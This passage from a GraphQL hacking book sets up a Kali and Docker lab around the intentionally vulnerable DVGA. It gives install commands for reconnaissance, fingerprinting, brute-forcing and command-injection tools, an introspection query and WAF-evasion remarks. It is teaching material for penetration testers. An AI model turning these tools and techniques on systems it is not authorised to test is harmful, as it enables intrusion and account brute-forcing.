If a security operator is analyzing this log data for suspicious patterns, it
won’t be particularly insightful if the logs were generated by a GraphQL
application. Finding useful information will require implementing
specialized tooling and logging infrastructure.

Very often, developers deploy newer technology, such as GraphQL,
without customizations or prior research. As hackers, this gives us some
leverage. The fact that GraphQL doesn’t comply with standard HTTP status
code principles may allow us to evade security controls such as web
application firewalls (WAFs), as well as go under the radar when security
operators are looking for anomalous patterns in HTTP error codes,
especially if those security operators aren’t aware that GraphQL behaves
differently than REST.

Your First Query
Now that you’ve learned about APIs and the differences between GraphQL
and REST, it’s time for you to experiment with a real GraphQL application.
In this exercise, you’ll use common tools to build your first query and
receive a successful response from a GraphQL server.

This exercise doesn’t require you to install any special tools. GraphQL
implementations often provide a graphical user interface (GUI) for running
queries in the form of an integrated development environment (IDE). A few
such tools are out there, including GraphiQL Explorer (pronounced
graphical; note the lowercase i) and GraphQL Playground, which are



available as either an additional package to install or as part of the base
installation, depending on the implementation.

We’ll use GraphiQL Explorer, which allows a user to query GraphQL
with auto-completion features, read autogenerated schema documentation,
identify syntax errors in queries through error highlighting, see historical
queries, and use query variables. These features make it very easy for first-
time GraphQL users to interact with an application. As hackers, we can also
benefit from access to such tools. You’ll learn more about how we can find
and abuse these types of interfaces in Chapter 4.

Let’s go ahead and experiment with writing GraphQL queries. Open any
browser and navigate to http://lab.blackhatgraphql.com/graphiql. You will
be greeted with a screen similar to the one shown in Figure 1-6.

In the left pane, you can enter queries. The resulting output will display in
the right pane. Try entering the simple query shown in Listing 1-15.

query {
  users {
    email
    first_name
    last_name
  }
}

Listing 1-15: GraphQL query that displays user information

http://lab.blackhatgraphql.com/graphiql


Figure 1-6: The GraphiQL Explorer panel

To send the query to the server, click the play button located at the top-left
corner. You should see the result shown in Figure 1-7.



Figure 1-7: GraphQL query result

You might have noticed a small drop-down menu appear as soon as you
start typing a query. This menu provides auto-completion options, as shown
in Figure 1-8.



Figure 1-8: GraphiQL Explorer auto-completion suggestions

The auto-completion feature is useful, especially when you need to interact
with GraphQL applications that have complex schemas. Without insight into
the schema, it would be fairly challenging to guess what a valid query might
look like. The auto-completion feature is available when GraphiQL Explorer
is able to query the GraphQL server by using the introspection query,
GraphQL’s self-documenting API feature. You will learn more about
introspection in Chapter 3.

To view additional information about the application’s GraphQL schema,
click the Docs tab located in the right pane. This will open up autogenerated
documentation, as shown in Figure 1-9.



Figure 1-9: GraphiQL Explorer autogenerated schema documentation

GraphiQL Explorer also gives you a view of all previously sent queries,
as shown in Figure 1-10. You can click a query to replay it.



Figure 1-10: Historical queries in GraphiQL Explorer

GraphQL servers are unauthenticated by default, which allows graphical
interfaces such as GraphiQL Explorer and GraphQL Playground to interact
with them freely. Typically, protecting these graphical interfaces doesn’t
make a ton of sense, because they are simple frontends to the API, and we
could still use other clients, such as cURL, to perform direct API calls to the
server. The API server itself should implement protections to avoid
unauthorized API queries.

Summary
In this chapter, you received an introduction to GraphQL. We covered what
GraphQL is and the problems it attempts to solve. We also walked through
examples that demonstrate the fundamental differences between REST and
GraphQL APIs, and why it’s important to understand these differences in the



context of security. Additionally, you had your first hands-on experience of
querying a GraphQL API by using the GraphiQL Explorer tool.



2
SETTING UP A GRAPHQL SECURITY

LAB

In this chapter, you’ll begin building
your GraphQL dojo: a security testing
lab environment equipped with GraphQL
hacking tools, as well as an intentionally
vulnerable server that you can use to

safely test newly acquired offensive GraphQL skills.
Understanding how to set up a hacking lab with the right tools becomes

more important than usual when you are testing an application whose
underlying technologies haven’t been around for many years. Seasoned
technologies have gone through many iterations of security reviews and
research. With newer technologies, it may take some time for similar
knowledge bases to develop, and for security testing methodologies to
circulate in the security community.

This lack of a knowledge base can pose problems. Imagine that you’re
conducting a penetration test when you discover a server running an
application you’ve never seen before. You might start researching the
software and looking for known application vulnerabilities or publicly
available exploits on websites such as the Exploit Database (https://exploit-
db.com). However, the situation could become more complex when the
application is using a new framework, such as GraphQL. Testing the

https://exploit-db.com/


application would require knowledge of not only the framework but also
how to retool with the relevant penetration testing tools, a time-consuming
task when you’re in the midst of a penetration test.

The dedicated lab you’ll build in this chapter will support your hands-on
hacking throughout this book so that the next time you run into GraphQL in the
wild, you’ll be ready to use the right tools to search and find vulnerabilities.
Tinkering in a lab has a lot of other benefits too, such as providing practical
experience through experimentation. The best way to learn about hacking is
by getting your hands dirty.

NOTE

In Chapter 1, you used a live application that we hosted to
experiment with REST and GraphQL APIs. Moving forward, all lab
exercises will be done locally, on your computer.

Taking Security Precautions
You should follow a few guidelines whenever you’re building a hacking lab
on personal equipment:

Avoid connecting the lab directly to the public internet. Hacking lab
environments typically involve installing vulnerable code or outdated
software. These could pose risks to your network, your computer, and your
data if they become accessible from the internet. You don’t want internet bots
to deploy malware on your computer or use it as a launchpad to attack others.

Work through the lab only on trusted local networks. Anyone on the same
network as you can also attack the lab. For this reason, we recommend
working through the book only when you’re connected to networks you trust.

Deploy the lab in a virtual environment by using a hypervisor, such as
Oracle VirtualBox. For VirtualBox (https://www.virtualbox.org/wiki/Down
loads), choose the platform package for your main computer’s operating
system. If you are running Linux, choose a package for the Linux distribution
you are using from the list located at https://www.virtualbox.org/wiki/Linux
_Downloads. VirtualBox currently supports all major distributions, such as

https://www.virtualbox.org/wiki/Downloads
https://www.virtualbox.org/wiki/Linux_Downloads


Ubuntu, Debian, and Fedora. Separating the hacking lab environment from
your primary operating system is generally a good idea, as it prevents
software conflicts that could potentially break other software on your
computer.

Make use of the virtual machine snapshot mechanism of your chosen
hypervisor. This allows you to take snapshots (versions at a specified point
in time) of the virtual machine and restore it to its original state, in case it
happens to break in the future. Think of this as clicking the Save button in a
video game so that you can resume your game later.

With these best practices in mind, let’s get our hands dirty and our lab up
and running!

Installing Kali
Kali is a Linux distribution created for penetration testing. Based on Debian,
it was designed by Offensive Security (https://offensive-security.com).
We’ll use Kali as the base operating system for our GraphQL hacking lab
because it comes bundled with some of the libraries, dependencies, and tools
we’ll need.

You can find Kali virtual machine images for the VMware Workstation and
Oracle VirtualBox hypervisors at https://www.kali.org/get-kali. Pick the
hypervisor of your choice and follow the official installation instructions
provided by Offensive Security: https://www.kali.org/docs/installation.

After completing the installation process, you should see the Kali login
screen shown in Figure 2-1. Kali ships with a default user account named
kali whose password is kali.

https://offensive-security.com/
https://www.kali.org/get-kali
https://www.kali.org/docs/installation


Figure 2-1: The Kali Linux login screen

After logging in to Kali, you need to make sure it is up to date. Open
Kali’s Applications menu and, in the search bar, enter terminal emulator (Fi
gure 2-2). Click the corresponding application.



Figure 2-2: The Kali Applications menu

Let’s use a few commands to update your software repositories and
upgrade your installed package. In the terminal window, enter the following
commands:

# sudo apt update -y 
# sudo apt upgrade -y 
# sudo apt dist-upgrade -y

NOTE

When you use the sudo command, Kali will ask for your password.
This is the same password you used to log in to the virtual machine,
kali.



From this point on, we will use our Kali machine for all tasks we cover in
the book. We recommend keeping the terminal window open, as you’ll need
it for additional installations very soon.

Installing Web Clients
In Chapter 1, we mentioned that GraphQL APIs can be queried using a
variety of specialized utilities, such as GraphiQL Explorer, or simple
command line–based HTTP clients, such as cURL. These tools all make
HTTP requests under the hood.

We’ll install and use two web clients: cURL and Altair. These will allow
you to experiment with crafting and sending GraphQL queries using both
command line tools and those with graphical interfaces.

Querying from the Command Line with cURL
One of the most popular command line HTTP clients, cURL, can make HTTP
requests just like any graphical web browser. As such, you can use it to
query GraphQL APIs.

As a hacker, you should become comfortable with operating from the
command line. Aside from allowing you to automate repetitive tasks more
easily, knowing your way around the command line gives you the ability to
work efficiently when you might not have access to graphical interfaces, such
as during a penetration test.

Let’s go ahead and install cURL. Open the terminal and enter the following
command:

# sudo apt install -y curl

You can verify that cURL was installed and is functioning correctly by
issuing the following command:

# curl lab.blackhatgraphql.com 
Black Hat GraphQL – Hello!



If you see a “Hello!” message, it means cURL successfully sent an HTTP
GET request to the application and received a response.

Querying from a GUI with Altair
In Chapter 1, we queried GraphQL APIs by using GraphiQL Explorer,
leveraging its auto-completion features. While GraphiQL is a very useful
tool, it won’t always be available to you during a penetration test. To
overcome this, you can install graphical GraphQL clients locally on your
computer. These clients have the capability to connect to remote GraphQL
servers and return results similarly to the way GraphiQL Explorer would. If
you provide the remote server address to the graphical client, it will take
care of the integration with GraphQL behind the scenes.

One of these tools, Altair, is available as a web browser plug-in, as well
as a local desktop application. Both versions provide the same functionality,
and there is no downside to choosing either. In this book, we will be using
the desktop application. However, if you’d like, you can install the browser
plug-in for Firefox through the add-ons store, which you can find by entering
about:addons in the browser’s address bar.

The Altair desktop client is available for macOS, Linux, and Windows at
https://altair.sirmuel.design/#download, as shown in Figure 2-3. Choose
the icon that represents the operating system you are running. For Kali, you
will want to install the Linux version.

Download Altair to the Desktop directory in Kali. You should see a file
with the extension AppImage after the download is complete:

# cd ~/Desktop 
# ls -l altair* 
-rwxr--r-- 1 kali kali 88819862 altair_x86_64_linux.AppIma
ge

https://altair.sirmuel.design/#download


Figure 2-3: The available Altair Desktop client versions

Next, we need to change the permissions on the downloaded file to be able
to run it:

# chmod u+x altair_x86_64_linux.AppImage

Now we can execute the file. It should load the client, as shown in Figure
2-4.

# ./altair_x86_64_linux.AppImage

After you’ve set the right permissions, you should also be able to run the
application directly by clicking the Altair Desktop icon located on your Kali
Desktop.



Let’s now verify that the client is working as expected. Open it and, in the
Enter URL address bar, enter http://lab.blackhatgraphql.com/graphql. This
will ensure that any query we execute will be sent directly to this address.
Now, in the left-side Query pane, remove the existing code comments (lines
that start with the # symbol) and enter the following query instead:

query {
  users {
    username
  }
}

Figure 2-4: The Altair Desktop client for Linux

Finally, click Send Request. You should see output similar to that in Figur
e 2-5.



Figure 2-5: A GraphQL response in the Altair Desktop client

Altair is a powerful tool; it will provide us with query auto-completion
suggestions, as well as schema documentation, historical records of executed
queries, and other features, such as setting custom HTTP headers and saving
queries to a collection, making our lives much easier. To learn more about
the advanced features of Altair, refer to the official documentation page at htt
ps://altair.sirmuel.design/docs/features.

https://altair.sirmuel.design/docs/features


NOTE

During a penetration test, you may encounter a remote GraphQL
API server with authentication and authorization controls.
GraphQL clients such as Altair will need special HTTP headers set
so they can authenticate themselves to the remote server. Altair
allows you to configure custom headers by using the Set Headers
menu item on the left. In the absence of authentication HTTP
headers, queries may fail with errors such as 401 Unauthorized. In
Chapter 7, we will explore GraphQL servers with authentication
and authorization controls enabled.

Setting Up a Vulnerable GraphQL Server
Now that we have the client utilities needed to query any GraphQL server,
the next step is to install a vulnerable GraphQL server, which we’ll use as
our target throughout the book. We will use this vulnerable server in our
deeper exploration of GraphQL in Chapter 3 and throughout the penetration
testing exercises in Chapters 4 through 9.

Installing Docker
Docker (https://www.docker.com) is a tool for deploying and managing
containers. Containers are units of software that package up code and its
dependencies so an application can run reliably in various environments.
Docker is available on Windows, macOS, and Linux.

We’ll use Docker to deploy the application we’ll attack throughout this
book. Let’s install it from the Kali software repositories by running the
following command:

# sudo apt install -y docker.io

Next, we want to make sure the Docker process will automatically start
upon system reboot:

# sudo systemctl enable docker --now

https://www.docker.com/


Finally, make sure Docker was successfully installed:

# sudo docker 
 
Management Commands: 
  builder     Manage builds 
  completion  generate the autocompletion script for the s
pecified shell 
  config      Manage Docker configs 
  container   Manage containers 
  context     Manage contexts

Deploying the Damn Vulnerable GraphQL Application
Our target application must be able to simulate common GraphQL
application vulnerabilities. To achieve this, we will use the Damn
Vulnerable GraphQL Application (DVGA), a GraphQL application with
design- and configuration-level vulnerabilities deliberately built in. We
developed DVGA in February 2021 to educate users about attacking and
defending applications backed by GraphQL, and it has since become the de
facto target application in the GraphQL security space for learning how to
hack GraphQL.

NOTE

Damn vulnerable is a phrase commonly associated with
applications that are intentionally made insecure for educational
purposes.

DVGA is vulnerable to a variety of issues, including DoS, information
disclosure, code execution, authentication bypass, Structured Query
Language (SQL) injection, broken authorization, and more. It offers multiple
working modes tailored to both beginners and experts and includes built-in
functionality to restore itself in case it breaks. We will go into more detail
about how to use it in Chapters 3 and 4.

The DVGA code is open source and can be found on GitHub at https://git
hub.com/dolevf/Damn-Vulnerable-GraphQL-Application. Let’s use Git to

https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application


clone the DVGA repository and use Docker to deploy it. First, make sure you
have Git installed with the following commands:

# sudo apt install git -y 
# git --help 
 
usage: git [--version] [--help] [-C <path>] [-c <name>=<va
lue>] 
           [--exec-path[=<path>]] [--html-path] [--man-pat
h] [--info-path] 
           [-p | --paginate | -P | --no-pager] [--no-repla
ce-objects] [--bare] 
--snip--

Next, clone the DVGA repository from GitHub:

# cd ~ 
# git clone -b blackhatgraphql https://github.com/dolevf/D
amn-Vulnerable-GraphQL-Application.git 
# ls -l 
 
drwxr-xr-x 9 kali kali 4096 Damn-Vulnerable-GraphQL-Applic
ation

Then build the DVGA Docker image with the following commands:

# cd Damn-Vulnerable-GraphQL-Application 
# sudo docker build -t dvga .

Finally, start the DVGA container with the following command. Note that
you will want to run this specific command if your DVGA happens to crash
at any point throughout the book:

# sudo docker run -t --rm -d --name dvga -p 5013:5013 -e W
EB_HOST=0.0.0.0 dvga

Next, verify that the container is running by using the following command:

# sudo docker container ps 
 
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 



7b33cca84fc1  dvga   "python3 app.py"  About a minute ago 
Up  0.0.0.0:5013->5013/tcp, :::5013->5013/tcp   dvga

At this point, the target application should be up and running. Verify this by
opening a web browser and entering http://localhost:5013 in the address
bar. You should be able to access the application shown in Figure 2-6.

Figure 2-6: The Damn Vulnerable GraphQL Application

As you can see, DVGA resembles Pastebin (https://pastebin.com), a web
application that allows clients to submit random text snippets (such as source
code or other text) and share them with others. These text snippets are also
called pastes, a term we will use throughout this book as we walk through
penetration-testing scenarios using DVGA. Pastes can have metadata, such as
titles, content, author information, and so on. You will be able to see this
information when we run queries against DVGA. Figure 2-7 shows an
example of a paste in DVGA.

https://pastebin.com/


Figure 2-7: A sample paste in DVGA

You can see the title and content of the paste, as well as its author
(Darcee) and some metadata about them, such as their internet protocol (IP)
address (215.0.2.85) and web browser (Mozilla/5.0).

Testing DVGA
Now that you have a target application in your lab environment, verify that
the application is up and its GraphQL API is accessible on the network with
a simple GraphQL query. For this, we’ll use the Altair client we installed
earlier.

Open the Altair client and enter http://localhost:5013/graphql in the
address bar. Next, enter the following GraphQL query in the left pane:

query {
  systemHealth
}

This query should result in output similar to that shown in Figure 2-8.



Figure 2-8: The DVGA response in Altair

Names in GraphQL are case-sensitive, so make sure you follow the
capitalization in systemHealth; otherwise, this query will result in an error.

Installing GraphQL Hacking Tools
In Chapter 1, we highlighted the differences between REST and GraphQL
APIs. These differences required the security industry to build GraphQL
support into existing tools. In some cases, hackers also created new tools
designed exclusively for penetration testing GraphQL applications. The
hacking tools we will install in the lab and use in our hacking exercises in
later chapters are capable of security-testing GraphQL applications.

Burp Suite



Burp Suite is application security testing software by PortSwigger (https://p
ortswigger.net) that proxies traffic between your web browser and the target
application, allowing you to intercept, modify, and replay requests coming in
and out of your computer. In our GraphQL security lab, we’ll use Burp Suite
to manually interact with our target by observing and modifying GraphQL
queries before they are sent to the target server.

Newer versions of Kali should have Burp Suite installed by default. Let’s
verify this by opening the terminal and entering the following command:

# sudo apt install burpsuite -y

Now we’ll open Burp Suite and check that it can successfully intercept
traffic. In the Kali Applications menu’s search bar, enter Burp Suite and
click the application. If this is the first time you’ve loaded the application,
read the Terms and Conditions and click I Accept.

Create a temporary project by selecting the Temporary Project radio
button, and click Next. Burp Suite will ask which configuration file to load
for the project. Choose Use Burp Defaults and click Start Burp.

Next, let’s ensure that Burp Suite can proxy HTTP traffic to DVGA. Click
Proxy▶Intercept▶Open Browser. In the browser, enter
http://localhost:5013/graphiql and press ENTER. This will initiate a GET
request to DVGA, which Burp Suite should automatically intercept.

NOTE

The Open Browser option in Burp Suite launches the embedded
browser, which doesn’t require any additional configuration (such
as adding Burp’s certificate to the trusted certificate store). It
should be ready to intercept traffic from the get-go.

Burp Suite should now highlight the Intercept tab (typically in orange),
indicating it has intercepted the outgoing request. You should see an in-flight
HTTP GET request, similar to the one shown in Figure 2-9.

https://portswigger.net/


This request has yet to leave your web browser. Burp Suite allows you to
make modifications to it before sending it to the server. Go ahead and click
the Intercept Is On button. This will unblock the request and send it to
DVGA.

We’ve verified that Burp Suite is installed and configured and can
intercept traffic going from your browser to DVGA. Great work! Burp Suite
is so feature rich that an entire book can be written on it. To learn more about
this tool, we recommend referencing its official documentation (https://ports
wigger.net/burp/documentation/desktop/penetration-testing).

Figure 2-9: Intercepting a request in Burp Suite

Clairvoyance

https://portswigger.net/burp/documentation/desktop/penetration-testing


In Chapter 1, we introduced GraphQL schemas, which represent the structure
of the application’s data model. Developers who want to interact with a
GraphQL API will need to know what data they can access, as well as what
queries or mutations the API supports. GraphQL exposes this schema
information through the introspection query.

In simple terms, introspection is a feature in GraphQL that allows it to
describe its own data to the client. Listing 2-1 shows a basic introspection
query that returns a list of all the available queries from the schema. We’ll
cover these queries in more detail in Chapter 3.

{ 
  __schema { 
    queryType { 
      fields { 
        name 
      } 
    } 
  } 
}

Listing 2-1: A basic introspection query

As you can imagine, companies that allow clients to perform introspection
queries against their GraphQL APIs are making a security trade-off.
Information about the various fields and objects that the backend application
supports can only aid threat actors and increase their chances of successfully
finding vulnerabilities. As such, production-grade implementations will often
disable introspection. This means you may be required to test GraphQL
applications in production setups that don’t allow introspection queries to be
executed. In these situations, figuring out how to properly construct queries
may pose a challenge.

This is where Clairvoyance comes to the rescue. This Python-based
reconnaissance tool for GraphQL APIs, developed by Nikita Stupin (@_nikit
astupin) and Ilya Tsaturov (@itsaturov), allows you to discover schema
information when introspection is disabled. It works by abusing a GraphQL
feature called field suggestions. Essentially, it reconstructs the underlying
schema by sending queries crafted from a dictionary of common English
words and observing the server’s responses. We’ll go into more detail about

http://www.twitter.com/@_nikitastupin
http://www.twitter.com/@itsaturov


field suggestions and how they help us extract information about GraphQL
schemas in Chapter 6.

Let’s go ahead and install Clairvoyance. Open the terminal and enter the
following commands:

# cd ~ 
# git clone https://github.com/nikitastupin/clairvoyance.g
it 
# cd clairvoyance

We can verify that Clairvoyance is able to run by passing the -h flag to the
Clairvoyance script:

# python3 -m clairvoyance -h 
 
usage: __main__.py [-h] [-v] [-k] [-i <file>] 
[-o <file>] [-d <string>] [-H <header>] -w <file> url 
 
positional arguments: 
  url 
 
optional arguments: 
  -h, --help            show this help message and exit

InQL
Until recently, not many resources for GraphQL security testing were
publicly available, even as GraphQL adoption increased. To fill this gap, the
security firm Doyensec developed Introspection GraphQL (InQL).

This security testing tool, based on Python, relies on the introspection
query. InQL can export any information it finds about the GraphQL schema to
a variety of formats, making the application’s schema easier to read and
understand. InQL also can perform other tasks, such as detecting potential
DoS conditions.

Let’s install InQL. Open the terminal and enter the following commands:

# cd ~ 
# git clone https://github.com/doyensec/inql.git 



# cd inql 
# sudo python3 setup.py install

Verify that the installation succeeded and that InQL is able to run by
passing it the -h flag:

# inql -h 
 
usage: inql [-h] [-t TARGET] [-f SCHEMA_JSON_FILE] [-k KE
Y] 
[-p PROXY] [--header HEADERS HEADERS] [-d] [--no-generate-
html] 
[--no-generate-schema] [--no-generate-queries] [--generate
-cycles] 
[--cycles-timeout CYCLES_TIMEOUT] [--cycles-streaming] [--
generate-tsv] 
[--insecure] [-o OUTPUT_DIRECTORY]

If you see similar output, InQL was successfully installed. We’ll use the
tool in penetration testing exercises later in the book.

NOTE

InQL is also available as a Burp Suite extension named
Introspection GraphQL Scanner that can be downloaded from Burp
Suite’s BApp Store (https://portswigger.net/bappstore). We’ll
instead use the command line version you just installed.

Graphw00f
Over the years, the GraphQL community has developed GraphQL server
implementations in many programming languages, such as graphql-php for
PHP, and Graphene and Ariadne for Python. For us hackers, it’s crucial to
identify the technologies that our target server is running behind the scenes.
Once we gather this information, we’ll be able to tailor attacks to the
technology we’re facing, increasing our overall chances of success.

Graphw00f is a Python-based GraphQL security tool that we developed to
identify a GraphQL API’s specific implementation. We built it primarily
because GraphQL doesn’t generally advertise the type of engine it’s using

https://portswigger.net/bappstore


under the hood. We wondered whether you could identify the implementation
solely based on API responses; it turns out you can. Graphw00f manages to
fingerprint the implementation by sending a mix of valid and malformed
queries to the server and observing the subtle differences in the returned
error messages. It can currently fingerprint over 24 implementations,
including the majority of the popular GraphQL servers in use today.

This implementation information is especially interesting because not all
of the available GraphQL implementations available today support the same
security features out of the box. For example, some implementations offer
external libraries for implementing authorization controls, while others do
not. Identifying the backend technology gives us these additional data points
to guide our testing.

NOTE

Fun fact: the name Graphw00f was inspired by another network
security tool, WAFW00F (https://github.com/EnableSecurity/wafw
00f). WAFW00F works in a manner similar to Graphw00f, except it
attempts to fingerprint WAFs instead of GraphQL implementations.

To install Graphw00f, open the terminal and enter the following:

# cd ~ 
# git clone https://github.com/dolevf/graphw00f.git 
# cd graphw00f

Verify that Graphw00f can successfully start by using the -h command:

# python3 main.py --help 
 
Usage: main.py -d -f -t http://example.com 
 
Options: 
  -h, --help            show this help message and exit 
  -r, --noredirect      Do not follow redirections given b
y 3xx responses

https://github.com/EnableSecurity/wafw00f


BatchQL
BatchQL is a GraphQL security auditing script written in Python and
developed by the security firm Assetnote. The tool is named after a GraphQL
feature called batching that allows clients to send multiple queries in a
single HTTP request. You’ll learn more about batch queries in later chapters.

BatchQL attempts to identify flaws in GraphQL implementations related to
the following vulnerability classes: DoS, CSRF, and information disclosure.
Install it by executing the following command:

# cd ~ 
# git clone https://github.com/assetnote/batchql.git

Verify that BatchQL is working properly by passing it the -h flag:

# cd batchql 
# python3 batch.py -h 
 
usage: batch.py [-h] [-e ENDPOINT] [-v VARIABLE] [-P PREFL
IGHT] 
[-q QUERY] [-w WORDLIST] [-H HEADER [HEADER ...]] [-p PROX
Y] [-s SIZE] [-o OUTPUT] 
 
optional arguments: 
  -h, --help            show this help message and exit 
  -e ENDPOINT, --endpoint ENDPOINT 
                        GraphQL Endpoint (i.e. https://exa
mple.com/graphql).

Nmap
Developed by Gordon Lyon (also known as “Fyodor”), Nmap is the Swiss
Army knife of port scanning. It’s also one of the oldest security tools out
there today, created in September 1997. (It’s quite amazing that it has
remained the de facto port-scanning tool decades later.)

We’ll use Nmap’s port-scanning capability and its custom scripting engine,
called the Nmap Scripting Engine (NSE). NSE uses scripts written in the
Lua language to extend Nmap into a full-blown vulnerability-assessment tool.



We’ll leverage this functionality to scan for GraphQL servers and find
vulnerabilities.

Kali comes bundled with Nmap by default. Verify that you have it installed
with the following command:

# sudo apt install nmap -y

Next, download the nmap-graphql-introspection-nse Lua script for Nmap
and place it in the NSE scripts folder:

# cd ~ 
# git clone https://github.com/dolevf/nmap-graphql-introsp
ection-nse.git 
# cd nmap-graphql-introspection-nse 
# sudo cp graphql-introspection.nse /usr/share/nmap/script
s

Let’s now verify that Nmap can find and read the script by passing it the -
-script-help command argument:

# nmap --script-help graphql-introspection.nse 
 
Starting Nmap ( https://nmap.org ) 
 
graphql-introspection 
Categories: discovery fuzzer vuln intrusive 
https://nmap.org/nsedoc/scripts/graphql-introspection.xhtm
l 
Identifies webservers running GraphQL endpoints and attemp
ts an 
execution of an Introspection query for information gather
ing. 
 
This script queries for common graphql endpoints and then
 sends an 
Introspection query and inspects the result. 
 
  Resources 
  * https://graphql.org/learn/introspection/

Commix



Command Injection Exploiter (Commix) is an open source project written in
Python and developed by Anastasios Stasinopoulos. Commix attempts to find
and exploit command injection vulnerabilities in an automated fashion by
fuzzing various parts of an HTTP request, such as query parameters or the
request body, using specialized payloads. The tool is also capable of
exploiting these vulnerabilities and can spawn a custom interactive shell,
which penetration testers can use to gain a foothold in remote servers.

Commix should be preinstalled in Kali by default, but to ensure that it is
indeed available and working properly, run the following set of commands:

# sudo apt install commix -y 
# commix -h 
 
Usage: commix [option(s)] 
 
Options: 
  -h, --help            Show help and exit. 
 
  General: 
    These options relate to general matters. 
 
    -v VERBOSE          Verbosity level (0-4, Default: 0). 
    --version           Show version number and exit.

graphql-path-enum
Written in Rust and developed by dee_see (@dee_see), graphql-path-enum
is a security testing tool that finds various ways to construct queries that
reach a specific piece of data. By doing so, it arms hackers with information
that could assist them in identifying authorization flaws. We’ll discuss
GraphQL authorization vulnerabilities in Chapter 7.

Install graphql-path-enum by running the following commands:

# cd ~ 
# wget "https://gitlab.com/dee-see/graphql-path-enum/-/job
s/artifacts/v1.1/raw
/target/release/graphql-path-enum?job=build-linux"
-O graphql-path-enum 
# chmod u+x graphql-path-enum

http://www.twitter.com/@dee_see


Verify that it can successfully run with its new permissions by passing it
the -h flag:

# ./graphql-path-enum -h 
 
graphql-path-enum 
 
USAGE: 
    graphql-path-enum [FLAGS] --introspect-query-path <FIL
E_PATH> --type <TYPE_NAME> 
 
FLAGS: 
        --expand-connections    Expand connection nodes 
        (with pageInfo, edges, etc. edges), they are skipp
ed by default. 
    -h, --help                  Prints help information 
        --include-mutations     Include paths from the Mut
ation node. 
        Off by default because this often adds a lot of no
ise. 
    -V, --version               Prints version information

EyeWitness
EyeWitness is a web-scanning tool developed by Chris Truncer and Rohan
Vazarkar that is capable of capturing screenshots of target web applications.
When scanning many websites in a penetration test, you’ll often find it useful
to visually identify what’s running on them. EyeWitness achieves this using a
command line–based web browser (also called a headless browser) under
the hood, which allows it to load dynamic web content, such as content
loaded dynamically using JavaScript.

Install EyeWitness with the following command:

# sudo apt install eyewitness -y 
# eyewitness -h 
 
Protocols: 
  --web                 HTTP Screenshot using Selenium 
 
Input Options: 
  -f Filename           Line-separated file containing URL
s to capture 



  -x Filename.xml       Nmap XML or .Nessus file 
  --single Single URL   Single URL/Host to capture 
  --no-dns

GraphQL Cop
We developed GraphQL Cop, a dedicated GraphQL security auditing utility
based on Python. GraphQL Cop audits GraphQL servers for information
disclosure and DoS-based vulnerabilities. In later chapters, we will use this
tool to check whether GraphQL servers are protected against common
attacks.

Install GraphQL Cop with the following set of commands:

# sudo apt install python3-pip -y 
# git clone https://github.com/dolevf/graphql-cop.git 
# cd graphql-cop 
# pip3 install -r requirements.txt 
# python3 graphql-cop.py -h 
 
Options: 
  -h, --help            show this help message and exit 
  -t URL, --target=URL  target url with the path 
  -H HEADER, --header=HEADER 
                        Append Header to the request '{"Au
thorization": 
                        "Bearer eyjt"}' 
  -o FORMAT, --output=FORMAT 
                        json 
  -x, --proxy           Sends the request through http://1
27.0.0.1:8080 proxy 
  -v, --version         Print out the current version and
 exit.

CrackQL
We developed CrackQL, a specialized brute-forcing tool for GraphQL that
uses GraphQL language features to better optimize brute-force attacks against
API actions that may require authentication. We will use this tool in Chapter
7, when we perform dictionary-based attacks against our GraphQL target.
Install CrackQL as follows:



# git clone https://github.com/nicholasaleks/CrackQL.git 
# cd CrackQL 
# pip3 install -r requirements.txt 
# python3 CrackQL.py -h 
 
Options: 
  -h, --help            show this help message and exit 
  -t URL, --target=URL  Target url with a path to the Grap
hQL endpoint 
  -q QUERY, --query=QUERY 
                        Input query or mutation operation
 with variable 
                        payload markers 
  -i INPUT_CSV, --input-csv=INPUT_CSV 
                        Path to a csv list of arguments
 (i.e. usernames, 
                        emails, ids, passwords, otp_token
s, etc.)

Once you’ve installed all of these tools, we highly encourage you to take a
snapshot of your Kali virtual machine to ensure that its state is saved. You’ll
then be able to restore it should it break in the future.

Summary
Let’s summarize what you currently have in your lab: graphical and command
line HTTP clients that can interact with GraphQL, a working Docker
environment for deploying containers, and the DVGA target application.

This chapter briefly discussed how these tools work under the hood and
the needs they fill, such as information gathering, server fingerprinting,
network and application scanning, vulnerability assessments, and GraphQL
auditing. You’ll explore their use in more depth in the remaining chapters.

This lab is an essential part of this book, but it might also prove valuable
for your next real-world penetration test. We encourage you to keep an eye on
the Black Hat GraphQL GitHub repository (https://github.com/dolevf/Black
-Hat-GraphQL.git), where we maintain a list of current and future GraphQL
security tools to help you keep your lab up to date.

https://github.com/dolevf/Black-Hat-GraphQL.git


3
THE GRAPHQL ATTACK SURFACE

In this chapter, we first explore
GraphQL’s language and type system
through the eyes of a hacker. Then we
provide an overview of the common
weaknesses in GraphQL. We hope you

have your imaginary black hat handy, because you’re
about to learn how a feature can turn into a weakness,
how a misconfiguration can turn into an information
leak, and how implementation design flaws can lead to
DoS opportunities.

What Is an Attack Surface?
An attack surface is the sum of all possible attack vectors an adversary can
use to compromise the confidentiality, integrity, and availability of a system.
For example, imagine a physical building with a front door, a side door, and
multiple windows. As attackers, we view each of these windows and doors
as a possible opportunity to gain unauthorized access to the building.

Typically, a system has a higher risk of an attack succeeding when its
attack surface is large, such as when it consists of many applications,



databases, servers, endpoints, and so on. The more windows and doors a
building has, the higher the probability that one of those entry points is
unlocked or insecure.

Attack surfaces change over time, especially as systems and their
environments evolve. This is particularly true in cloud environments, where
infrastructure is elastic. For example, a server could live for only a limited
amount of time, or an IP address could change, sometimes multiple times a
day.

Let’s review all the windows and doors in GraphQL and highlight
possible attack vectors we can use to unlock them. Understanding these
concepts will aid you in the next chapters, where we dive deeper into
offensive security.

The Language
For the purposes of discussing GraphQL’s attack surface, we will break its
specification into two sections: its language and its type system. We begin by
covering the language, used to make requests to a GraphQL API server, from
a client’s point of view. Next, we’ll review its type system from a server’s
point of view. You can learn about these concepts and other GraphQL
internals by using the GraphQL specification; here, we intend to distill only
the parts that will equip you with enough knowledge to test GraphQL attack
vectors in future chapters.

The GraphQL language comprises many useful components that clients can
leverage. At first glance, the way these elements are represented within
requests may appear confusing. Figure 3-1 is a sample GraphQL query
whose components are explained in Table 3-1.



Figure 3-1: A sample GraphQL query

As you can see, GraphQL queries are uniquely structured, and it is
important to understand the various parts. Table 3-1 provides a description
of each component.



Table 3-1: The Components of a GraphQL Query

# Component Description
1 Operation type Type that defines the method of interaction with the server (query,

mutation, or subscription)
2 Operation name Arbitrary client-created label used to provide a unique name to an

operation
